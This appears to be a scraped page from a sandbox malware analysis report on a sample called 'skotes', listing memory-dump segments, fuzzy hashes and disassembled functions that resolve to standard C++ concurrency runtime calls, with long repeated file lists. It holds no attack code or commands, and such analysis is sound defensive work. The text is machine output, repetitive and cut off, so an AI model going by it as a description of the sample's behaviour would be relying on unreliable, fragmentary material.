Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 1c15196b0d0abebe3dd36e336026f1f2378de3853c2044a4193ab14f619fb008
Instruction ID: 86b477efb824546c1693abed7522373a7d25aefc833f72b74d25fed4b3a521a7
Opcode Fuzzy Hash: 1c15196b0d0abebe3dd36e336026f1f2378de3853c2044a4193ab14f619fb008
Instruction Fuzzy Hash: 2301F931200961BFDA257B66D9C2D7EBBAAFF59B10704046AF50557611CB20FC2197D0

Function 001ED0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001ED0C5
ListArray.LIBCONCRT ref: 001ED0D7

Part of subcall function 001EC6B2: _InternalDeleteHelper.LIBCONCRT ref: 001EC6C4

ListArray.LIBCONCRT ref: 001ED0E1
_InternalDeleteHelper.LIBCONCRT ref: 001ED0FA

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 4f162a281013002cf5d7f5321b1690ff48ec1113fac4da65be32d1617ff40780
Instruction ID: b3ccc105cf52360474692d74823a1b1b17f98f11967c41a70049a1db0cad2de8
Opcode Fuzzy Hash: 4f162a281013002cf5d7f5321b1690ff48ec1113fac4da65be32d1617ff40780
Instruction Fuzzy Hash: 9801F931200961BFDA257B66DDC2D7EB76AFF597107040026F90197711CF20EC5297D0

Function 001F33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001F33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 001F33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 001F3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001F341F

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 9993e9d076afbc2a03de39b735d6c291cb5051e6e0f85f5b58e8a056b985ce04
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: F001DB32700518A7CF16FE658841EBFB7999F54354F100015FE259B241DB71EE0197A0

Function 001E9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 001E9519

Part of subcall function 001DF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 001E5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 001E953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 001E9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 001E9559

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: d6b0ce95bbe1ea79cb1722b8f0104387a0f4ec5f0065b8dbe70e0986789d38f4
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 34F0A931600E605EE666ABAA8811F6E63E89F54711F00841FE52F9B283CF24E942CB80

Function 001DEFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 001DEFD1

Part of subcall function 001DF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 001DF989
Part of subcall function 001DF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 001DF9C0
Part of subcall function 001DF968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 001DF9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 001DEFDD

Part of subcall function 001DF40F: Concurrency::critical_section::unlock.LIBCMT ref: 001DF433

Concurrency::Context::Block.LIBCONCRT ref: 001DEFE2

Part of subcall function 001E0366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 001E0368

Concurrency::critical_section::lock.LIBCONCRT ref: 001DF002

Part of subcall function 001DF891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 001DF8AC
Part of subcall function 001DF891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 001DF8B7

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 45da892a9b37380a5040b2bc5d740eeb31a707bdb0db6480c93ead742e8e9c70
Instruction ID: b90b2a0a0f57905d932cb63ed27f335db9777e81caa66d007d0ef9cd62ba59b2
Opcode Fuzzy Hash: 45da892a9b37380a5040b2bc5d740eeb31a707bdb0db6480c93ead742e8e9c70
Instruction Fuzzy Hash: 8CE04F34900555ABCB08FB20D8A55ADBB61BF64360B14831EE466173E2CF746F87CB81

Function 001FDFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

